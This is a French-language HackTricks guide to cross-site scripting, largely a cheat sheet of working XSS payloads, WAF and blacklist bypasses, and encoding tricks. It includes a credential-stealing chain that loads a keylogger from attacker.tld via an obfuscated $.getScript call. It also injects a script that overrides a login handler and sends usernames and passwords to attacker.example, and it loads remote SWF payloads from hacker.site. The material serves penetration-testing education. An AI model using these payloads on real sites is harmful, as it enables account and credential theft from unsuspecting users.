XSS (Cross Site Scripting)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Méthodologie

  1. Vérifiez si une valeur que vous contrôlez (parameters, path, headers?, cookies?) est réfléchie dans le HTML ou utilisée par du JS.
  2. Déterminez le contexte dans lequel elle est reflétée/utilisée.
  3. Si réfléchie
  4. Vérifiez quels symboles vous pouvez utiliser et, en fonction de cela, préparez le payload :
  5. Dans le HTML brut :
  6. Pouvez-vous créer de nouvelles balises HTML ?
  7. Pouvez-vous utiliser des events ou attributs supportant le protocole javascript: ?
  8. Pouvez-vous contourner les protections ?
  9. Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo…) ? Vous pourriez abuser d’une Client Side Template Injection.
  10. Si vous ne pouvez pas créer de balises HTML qui exécutent du JS, pourriez-vous abuser d’un Dangling Markup - HTML scriptless injection ?
  11. À l’intérieur d’une balise HTML :
  12. Pouvez-vous sortir vers le contexte HTML brut ?
  13. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du JS ?
  14. L’attribut où vous êtes injecté supporte-t-il l’exécution JS ?
  15. Pouvez-vous contourner les protections ?
  16. À l’intérieur du code JavaScript :
  17. Pouvez-vous échapper la balise <script> ?
  18. Pouvez-vous échapper la chaîne et exécuter un autre code JS ?
  19. Vos entrées sont-elles dans des template literals `` ?
  20. Pouvez-vous contourner les protections ?
  21. Fonction JavaScript exécutée
  22. Vous pouvez indiquer le nom de la fonction à exécuter. e.g.: ?callback=alert(1)
  23. Si utilisé :
  24. Vous pourriez exploiter un DOM XSS, faites attention à la façon dont votre entrée est contrôlée et si votre entrée contrôlée est utilisée par un sink.

Quand vous travaillez sur un XSS complexe, il peut être utile de connaître :

Debugging Client Side JS

Valeurs reflétées

Pour exploiter un XSS avec succès, la première chose à trouver est une valeur que vous contrôlez et qui est reflétée dans la page web.

  • Réfléchie de façon intermédiaire : Si vous constatez que la valeur d’un paramètre ou même du path est reflétée dans la page web, vous pourriez exploiter un Reflected XSS.
  • Stockée et reflétée : Si une valeur que vous contrôlez est enregistrée sur le serveur et reflétée à chaque accès à la page, vous pourriez exploiter un Stored XSS.
  • Accédée via JS : Si une valeur que vous contrôlez est accédée via JS, vous pourriez exploiter un DOM XSS.

Contextes

Quand vous essayez d’exploiter un XSS, la première chose à savoir est où votre entrée est reflétée. Selon le contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.

HTML brut

Si votre entrée est reflétée dans le HTML brut, vous devrez abuser de certaines balises HTML pour exécuter du JS : <img , <iframe , <svg , <script … ce ne sont que quelques-unes des nombreuses balises possibles.
Aussi, gardez à l’esprit Client Side Template Injection.

À l’intérieur des attributs des balises HTML

Si votre entrée est reflétée à l’intérieur de la valeur d’un attribut d’une balise, vous pouvez essayer :

  1. D’échapper de l’attribut et de la balise (vous serez alors dans le HTML brut) et créer une nouvelle balise HTML à abuser : "><img [...]
  2. Si vous pouvez échapper de l’attribut mais pas de la balise (> est encodé ou supprimé), selon la balise vous pouvez créer un event qui exécute du JS : " autofocus onfocus=alert(1) x="
  3. Si vous ne pouvez pas échapper de l’attribut (" est encodé ou supprimé), alors selon quel attribut reflète votre valeur et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l’abuser. Par exemple, si vous contrôlez un event comme onclick= vous pourrez le faire exécuter du code arbitraire lorsqu’on clique. Un autre exemple intéressant est l’attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter du code arbitraire : href="javascript:alert(1)"
  4. Si votre entrée est reflétée à l’intérieur de “balises non exploitables”, vous pouvez essayer l’astuce accesskey pour abuser de la vuln (vous aurez besoin d’un peu d’ingénierie sociale pour l’exploiter) : " accesskey="x" onclick="alert(1)" x="

XSS d’attribut uniquement sur une page de login derrière des WAFs

Une page de login SSO d’entreprise reflétait le paramètre OAuth service à l’intérieur de l’attribut href de <a id="forgot_btn" ...>. Bien que < et > étaient encodés en HTML, les guillemets doubles ne l’étaient pas, donc l’attaquant pouvait fermer l’attribut et réutiliser le même élément pour injecter des handlers tels que " onfocus="payload" x=".

  1. Injecter le handler : Des payloads simples comme onclick="print(1)" étaient bloqués, mais le WAF n’inspectait que la première instruction JavaScript dans les attributs inline. Préfixer par une expression inoffensive entre parenthèses, puis un point-virgule, a permis au vrai payload de s’exécuter : onfocus="(history.length);malicious_code_here".
  2. Le déclencher automatiquement : Les navigateurs donnent le focus à tout élément dont l’id correspond au fragment, donc ajouter #forgot_btn à l’URL d’exploit force l’ancre à recevoir le focus au chargement et exécute le handler sans nécessiter de clic.
  3. Garder le stub inline minuscule : La cible incluait déjà jQuery. Le handler n’avait besoin que d’amorcer une requête via $.getScript(...) pendant que le keylogger complet vivait sur le serveur de l’attaquant.

Construire des chaînes sans guillemets

Les apostrophes simples étaient renvoyées encodées en URL et les guillemets doubles échappés corrompaient l’attribut, donc le payload générait chaque chaîne avec String.fromCharCode. Une fonction d’aide facilite la conversion de n’importe quelle URL en codes char avant de la coller dans l’attribut:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Un attribut résultant ressemblait à :

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Pourquoi cela vole des identifiants

Le script externe (chargé depuis un hôte contrôlé par l’attaquant ou Burp Collaborator) a hooké document.onkeypress, a mis en mémoire tampon les frappes, et chaque seconde a exécuté new Image().src = collaborator_url + keys. Parce que le XSS ne s’exécute que pour les utilisateurs non authentifiés, l’action sensible est le formulaire de connexion lui-même — l’attaquant keylogs les noms d’utilisateur et mots de passe même si la victime n’appuie jamais sur “Login”.

Exemple étrange d’Angular exécutant XSS si vous contrôlez un nom de classe :

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Dans le code JavaScript

Dans ce cas, votre input est reflété entre les balises <script> [...] </script> d’une page HTML, à l’intérieur d’un fichier .js ou dans un attribut utilisant le protocole javascript: :

  • Si reflété entre <script> [...] </script> , même si votre input est à l’intérieur de n’importe quel type de guillemets, vous pouvez essayer d’injecter </script> et sortir de ce contexte. Cela fonctionne parce que le navigateur va d’abord parser les balises HTML puis le contenu ; par conséquent, il ne remarquera pas que votre balise </script> injectée est à l’intérieur du code HTML.
  • Si reflété à l’intérieur d’une chaîne JS et que le dernier truc ne fonctionne pas, vous devrez sortir de la chaîne, exécuter votre code et reconstruire le code JS (si une erreur survient, il ne sera pas exécuté) :
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Si reflété à l’intérieur de template literals vous pouvez insérer des expressions JS en utilisant la syntaxe ${ ... } : var greetings = `Hello, ${alert(1)}`
  • L’encodage Unicode fonctionne pour écrire du valid javascript code :
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting fait référence à la possibilité de déclarer des functions, variables ou classes après qu’elles soient utilisées afin d’abuser de scénarios où un XSS utilise des variables ou fonctions non déclarées.
Consultez la page suivante pour plus d’infos :

JS Hoisting

Javascript Function

Plusieurs pages web ont des endpoints qui acceptent comme paramètre le nom de la function à exécuter. Un exemple courant rencontré en pratique est quelque chose comme : ?callback=callbackFunc.

Une bonne façon de savoir si quelque chose fourni directement par l’utilisateur est tenté d’être exécuté est de modifier la valeur du param (par exemple en ‘Vulnerable’) et de regarder dans la console des erreurs comme :

Si c’est vulnérable, vous pourriez être capable de déclencher une alert simplement en envoyant la valeur : ?callback=alert(1). Cependant, il est très courant que ces endpoints valident le contenu pour n’autoriser que des lettres, des chiffres, des points et des underscores ([\w\._]).

Cependant, même avec cette limitation il est encore possible d’effectuer certaines actions. Ceci parce que vous pouvez utiliser ces caractères valides pour accéder à n’importe quel élément du DOM :

Quelques fonctions utiles pour cela :

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Vous pouvez aussi essayer de déclencher des fonctions Javascript directement : obj.sales.delOrders.

Cependant, en général les endpoints qui exécutent la fonction indiquée sont des endpoints avec peu de DOM intéressant, d’autres pages dans la même origine auront un DOM plus intéressant pour effectuer plus d’actions.

Donc, afin d’abuser de cette vulnérabilité dans un DOM différent, l’exploitation Same Origin Method Execution (SOME) a été développée :

SOME - Same Origin Method Execution

DOM

Il existe du JS code qui utilise de manière non sécurisée des données contrôlées par un attaquant comme location.href. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.

DOM XSS

Universal XSS

Ces types de XSS peuvent être trouvés n’importe où. Ils ne dépendent pas seulement de l’exploitation côté client d’une application web mais de n’importe quel contexte. Ces types d’exécution JavaScript arbitraire peuvent même être abusés pour obtenir une RCE, lire des fichiers arbitraires sur les clients et les serveurs, et plus encore.
Quelques exemples :

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injection dans du HTML brut

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
Pour ces cas, gardez aussi à l’esprit Client Side Template Injection.
Note : Un commentaire HTML peut être fermé en utilisant --> ou --!>

Dans ce cas, et s’il n’y a pas de black/whitelisting utilisé, vous pouvez utiliser des payloads comme :

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Cependant, si un black/whitelisting des tags/attributs est en place, vous devrez brute-force quels tags vous pouvez créer.
Une fois que vous avez localisé quels tags sont autorisés, vous devrez brute-force attributs/événements à l’intérieur des tags valides trouvés pour voir comment attaquer le contexte.

Brute-force des tags/événements

Allez sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet et cliquez sur Copy tags to clipboard. Ensuite, envoyez-les tous avec Burp intruder et vérifiez si certains tags n’ont pas été détectés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez brute force tous les événements en utilisant les tags valides (sur la même page web cliquez sur Copy events to clipboard et suivez la même procédure qu’avant).

Tags personnalisés

Si vous ne trouvez aucun tag HTML valide, vous pouvez essayer de créer un tag personnalisé et d’exécuter du JS avec l’attribut onfocus. Dans la requête XSS, vous devez terminer l’URL par # pour que la page se focalise sur cet objet et exécute le code :

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Si une sorte de blacklist est utilisée, vous pouvez essayer de la contourner avec quelques astuces simples :

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Plus de tiny XSS pour différents environnements payload peuvent être trouvés ici et ici.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Le dernier utilise 2 caractères unicode qui s’étendent en 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Si, pour exploiter la vulnérabilité, vous avez besoin que l’utilisateur clique sur un lien ou un formulaire avec des données préremplies, vous pouvez essayer de abuse Clickjacking (si la page est vulnérable).

Impossible - Dangling Markup

Si vous pensez simplement qu’il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez consulter Danglig Markup car vous pourriez exploiter la vulnérabilité sans exécuter de JS.

Injection à l’intérieur d’une balise HTML

À l’intérieur de la balise/échappement depuis la valeur d’attribut

Si vous êtes à l’intérieur d’une balise HTML, la première chose que vous pouvez essayer est de sortir de la balise et d’utiliser certaines des techniques mentionnées dans la previous section pour exécuter du code JS.
Si vous ne pouvez pas sortir de la balise, vous pouvez créer de nouveaux attributs à l’intérieur de la balise pour tenter d’exécuter du code JS, par exemple en utilisant un payload comme (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Événements de style

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dans l’attribut

Même si vous ne pouvez pas échapper à l’attribut (" est being encoded or deleted), selon dans quel attribut votre valeur est reflétée et si vous contrôlez toute la valeur ou seulement une partie vous pourrez en abuser. Par exemple, si vous contrôlez un événement comme onclick= vous pourrez faire exécuter du code arbitraire lorsqu’il est cliqué.
Another interesting example est l’attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter du code arbitraire : href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

Les caractères encodés en HTML à l’intérieur de la valeur des attributs des balises HTML sont décodés au runtime. Par conséquent quelque chose comme ce qui suit sera valide (le payload est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Notez que tout type d’encodage HTML est valide:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Notez que URL encode fonctionnera également :

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass dans un event en utilisant l’encodage Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocoles spéciaux dans l’attribut

Là, vous pouvez utiliser les protocoles javascript: ou data: à certains endroits pour exécuter du code JS arbitraire. Certains nécessiteront une interaction utilisateur, d’autres non.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Endroits où vous pouvez injecter ces protocoles

En général le protocole javascript: peut être utilisé dans toute balise qui accepte l’attribut href et dans la plupart des balises qui acceptent l’attribut src (mais pas <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Autres astuces d’obfuscation

Dans ce cas le HTML encoding et le Unicode encoding trick de la section précédente sont également valides car vous êtes à l’intérieur d’un attribut.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

De plus, il y a une autre nice trick pour ces cas : Même si votre input à l’intérieur de javascript:... est URL encoded, il sera URL decoded avant d’être exécuté. Donc, si vous devez escape de la string en utilisant une single quote et que vous voyez qu’elle est URL encoded, souvenez-vous que ça n’a pas d’importance, elle sera interprétée comme une single quote pendant le **temps d’exécution.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Notez que si vous essayez d’utiliser les deux URLencode + HTMLencode dans n’importe quel ordre pour encoder la payload cela ne fonctionnera pas, mais vous pouvez les mélanger à l’intérieur de la payload.

Utiliser Hex et Octal encode avec javascript:

Vous pouvez utiliser Hex et Octal encode à l’intérieur de l’attribut src d’un iframe (au moins) pour déclarer des balises HTML pour exécuter du JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Si vous pouvez injecter n’importe quelle URL dans une balise arbitraire <a href= qui contient les attributs target="_blank" and rel="opener", consultez la page suivante pour exploiter ce comportement :

Reverse Tab Nabbing

on Event Handlers Bypass

Tout d’abord, consultez cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des “on” event handlers utiles.
S’il existe une blacklist empêchant la création de ces event handlers, vous pouvez essayer les bypasses suivants :

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Depuis here il est désormais possible d’abuser des hidden inputs avec :

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Et dans les meta tags :

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Extrait de here: Vous pouvez exécuter une XSS payload inside a hidden attribute, à condition de pouvoir persuader la victim d’appuyer sur la combinaison de touches. Sur Firefox sous Windows/Linux la combinaison de touches est ALT+SHIFT+X et sur OS X elle est CTRL+ALT+X. Vous pouvez spécifier une combinaison de touches différente en utilisant une touche différente dans l’access key attribute. Voici le vecteur:

<input type="hidden" accesskey="X" onclick="alert(1)">

Le payload XSS ressemblera à ceci : " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Revenez pour apprendre où vous pouvez utiliser :

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Lisez la Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Lisez la JavaScript bypass blacklist of the following section.

CSS-Gadgets

Si vous trouvez un XSS dans une très petite partie du site qui nécessite une forme d’interaction (par exemple un petit lien dans le footer avec un élément onmouseover), vous pouvez essayer de modifier l’espace occupé par cet élément pour maximiser les chances que le lien soit déclenché.

Par exemple, vous pouvez ajouter du style à l’élément comme : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Mais si le WAF filtre l’attribut style, vous pouvez utiliser CSS Styling Gadgets, donc si vous trouvez, par exemple

.test {display:block; color: blue; width: 100%}

et

#someid {top: 0; font-family: Tahoma;}

Maintenant vous pouvez modifier notre lien et le mettre sous la forme

<a href=“” id=someid class=test onclick=alert() a=“”>

Cette astuce provient de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Dans ce cas votre input va être réfléchi dans le code JS d’un fichier .js ou entre des balises <script>...</script> ou dans des events HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole javascript:.

Échapper la balise <script>

Si votre code est inséré dans <script> [...] var input = 'reflected data' [...] </script> vous pouvez facilement échapper la fermeture de la balise <script> :

</script><img src=1 onerror=alert(document.domain)>

Notez que dans cet exemple nous n’avons même pas fermé le guillemet simple. C’est parce que l’analyse HTML est effectuée en premier par le navigateur, ce qui implique l’identification des éléments de la page, y compris les blocs de script. L’analyse de JavaScript pour comprendre et exécuter les scripts intégrés n’est effectuée qu’ensuite.

Dans le code JS

Si <> sont filtrés vous pouvez quand même échapper la chaîne là où votre entrée est placée et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s’il y a des erreurs, le code JS ne sera pas exécuté:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Lorsque l’entrée utilisateur se retrouve à l’intérieur d’une chaîne JavaScript entre guillemets (par ex., echo côté serveur dans un script inline), vous pouvez terminer la chaîne, injecter du code, puis réparer la syntaxe pour que l’analyse reste valide. Squelette générique :

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Exemple de modèle d’URL lorsque le paramètre vulnérable est reflété dans une chaîne JS :

?param=test";<INJECTION>;a="

Ceci exécute du attacker JS sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec blacklist bypasses ci‑dessous lorsque les filtres bloquent des mots-clés.

Template literals ``

Pour construire des strings, en plus des guillemets simples et doubles, JS accepte aussi les backticks ``. Cela s’appelle template literals car ils permettent d’insérer des expressions JS en utilisant la syntaxe ${ ... }.
Donc, si vous constatez que votre entrée est reflétée dans une string JS qui utilise des backticks, vous pouvez abuser de la syntaxe ${ ... } pour exécuter du arbitrary JS code :

Ceci peut être abusé en utilisant :

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Exécution de code encodé

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Livrables payloads avec eval(atob()) et nuances de scope

Pour garder les URLs plus courtes et contourner des filtres de mots-clés naïfs, vous pouvez encoder en base64 votre logique réelle et l’évaluer avec eval(atob('...')). Si un filtrage par mots-clés simple bloque des identifiants comme alert, eval ou atob, utilisez des identifiants échappés en Unicode qui se compilent de manière identique dans le navigateur mais échappent aux filtres de correspondance de chaînes :

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Nuance importante de portée : const/let déclarés à l’intérieur de eval() sont à portée de bloc et NE créent PAS de variables globales ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément <script> injecté dynamiquement pour définir des hooks globaux non réassignables lorsque nécessaire (p. ex., pour détourner un gestionnaire de formulaire) :

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Référence: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Exécution JS Unicode Encode

alert(1)
alert(1)
alert(1)

JavaScript techniques de bypass des blacklists

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Échappements spéciaux

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Substitutions d’espaces dans le code JS

<TAB>
/**/

JavaScript comments (d’après JavaScript Comments astuce)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (d’après JavaScript new line astuce)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript espaces blancs

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dans un commentaire

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sans parenthèses

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
